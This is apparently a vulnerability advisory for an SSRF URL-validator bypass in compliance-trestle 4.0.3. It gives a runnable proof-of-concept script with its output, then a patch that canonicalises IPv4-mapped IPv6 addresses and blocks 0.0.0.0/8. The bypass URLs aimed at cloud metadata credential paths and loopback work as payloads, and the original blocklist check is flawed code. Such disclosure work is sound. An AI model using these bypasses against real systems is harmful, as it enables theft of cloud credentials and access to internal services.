compliance-trestle CVE-2026-52776

ALWAYS_BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
# IPv4 loopback only
    ipaddress.ip_network('::1/128'),
# IPv6 loopback (single address)
    ipaddress.ip_network('169.254.0.0/16'),
# IPv4 link-local only
    ipaddress.ip_network('fe80::/10'),
# IPv6 link-local
]

METADATA_HOSTNAMES = {
    '169.254.169.254',
# IPv4 literal only
    'metadata.google.internal',
    'metadata.azure.com',
    '100.100.100.200',
}

def _check_blocked_networks(self, ip_addr, hostname):
    for network in ALWAYS_BLOCKED_NETWORKS:
        if ip_addr in network:
# IPv6Address in IPv4Network -> False
            raise TrestleError(...)

# 1. Setup
mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle
python3.12 -m venv venv
# any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's is_global fix, proving this bypass is is_global-INDEPENDENT
./venv/bin/pip install --quiet compliance-trestle==4.0.3
./venv/bin/pip show compliance-trestle | head -2
# Name: compliance-trestle
# Version: 4.0.3
# 2. Driver
cat > e2e_full.py <<'PY'
import http.server, http.client, socket, socketserver, threading, time, os
from urllib.parse import urlparse
from trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config
from trestle.common.err import TrestleError

class IMDS(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF","SecretAccessKey":"REDACTED","Token":"FAKE_IMDS_RESPONSE"}'
        self.send_response(200); self.send_header("Content-Length", str(len(body))); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

class DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):
    address_family = socket.AF_INET6
    def server_bind(self):
        try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
        except (AttributeError, OSError): pass
        super().server_bind()

PORT = 18560
srv = DualStack(("::", PORT), IMDS)
threading.Thread(target=srv.serve_forever, daemon=True).start()
time.sleep(0.2)

validator = URLSecurityValidator(block_private_ips=True)
def attempt(label, url, expect_block):
    try:
        validator.validate_url(url); verdict, blocked = "VALIDATION PASSED", False
    except TrestleError as e:
        verdict, blocked = f"BLOCKED: {str(e)[:80]}", True
    meta = "(expected)" if blocked == expect_block else "(*** UNEXPECTED ***)"
    print(f"\n[{label}]\n  URL: {url}\n  Validator: {verdict}  {meta}")
    if not blocked:
        try:
            p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)
            c.request("GET", p.path or "/"); r = c.getresponse(); print(f"  Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}"); c.close()
        except Exception as e:
            print(f"  Connectivity: {type(e).__name__}: {str(e)[:80]}")
# Negative controls (validator must block)
attempt("NEG-1: literal 169.254.169.254", f"https://169.254.169.254:{PORT}/latest/meta-data/", True)
attempt("NEG-2: literal 127.0.0.1", f"https://127.0.0.1:{PORT}/admin", True)
attempt("NEG-3: metadata.google.internal", f"https://metadata.google.internal:{PORT}/", True)
attempt("NEG-4: literal 10.0.0.1 RFC1918", f"https://10.0.0.1:{PORT}/admin", True)
# Bypasses (validator should block, but does not)
attempt("BYPASS-1: IPv4-mapped IPv6 cloud-metadata", f"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin", True)
attempt("BYPASS-2: 0.0.0.0 reaches localhost", f"https://0.0.0.0:{PORT}/admin", True)
attempt("BYPASS-3: IPv4-mapped IPv6 loopback", f"https://[::ffff:127.0.0.1]:{PORT}/admin", True)
attempt("BYPASS-4: IPv4-mapped IPv6 RFC 1918", f"https://[::ffff:10.0.0.1]:{PORT}/admin", True)
srv.shutdown()
PY
# 3. Run
./venv/bin/python e2e_full.py

Python: 3.12.13
compliance-trestle: 4.0.3
  ::ffff:169.254.169.254       is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False
  ::ffff:127.0.0.1             is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False
  ::ffff:10.0.0.1              is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False

[NEG-1: literal 169.254.169.254]
  URL: https://169.254.169.254:18560/latest/meta-data/
  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se  (expected)

[NEG-2: literal 127.0.0.1]
  URL: https://127.0.0.1:18560/admin
  Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi  (expected)

[NEG-3: metadata.google.internal]
  URL: https://metadata.google.internal:18560/
  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi  (expected)

[NEG-4: literal 10.0.0.1 RFC1918]
  URL: https://10.0.0.1:18560/admin
  Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i  (expected)

[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]
  URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: TimeoutError: timed out

[BYPASS-2: 0.0.0.0 reaches localhost]
  URL: https://0.0.0.0:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF'

[BYPASS-3: IPv4-mapped IPv6 loopback]
  URL: https://[::ffff:127.0.0.1]:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF'

[BYPASS-4: IPv4-mapped IPv6 RFC 1918]
  URL: https://[::ffff:10.0.0.1]:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: RemoteDisconnected: Remote end closed connection without response

ALWAYS_BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('::1/128'),
    ipaddress.ip_network('169.254.0.0/16'),
    ipaddress.ip_network('fe80::/10'),
    ipaddress.ip_network('0.0.0.0/8'),
# IPv4 "this network", reaches localhost on Linux
    ipaddress.ip_network('::/128'),
# IPv6 unspecified
]

def _canonicalize_ip(self, ip_addr):
    """Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form."""
    if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:
        return ip_addr.ipv4_mapped
    return ip_addr

def _check_blocked_networks(self, ip_addr, hostname):
    ip_addr = self._canonicalize_ip(ip_addr)
    for network in ALWAYS_BLOCKED_NETWORKS:
        if ip_addr.version == network.version and ip_addr in network:
            raise TrestleError(...)

def _check_private_networks(self, ip_addr, hostname):
    ip_addr = self._canonicalize_ip(ip_addr)
# ... same canonicalization before block_private_ip / warn_private_ip

def _check_metadata_endpoints(self, hostname):
# Canonicalize bracketed IPv6 literal hostnames before exact-match
    canonical = hostname.strip('[]')
    try:
        canonical_ip = ipaddress.ip_address(canonical)
        if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:
            canonical = str(canonical_ip.ipv4_mapped)
    except ValueError:
        pass
    if canonical in METADATA_HOSTNAMES:
        raise TrestleError(...)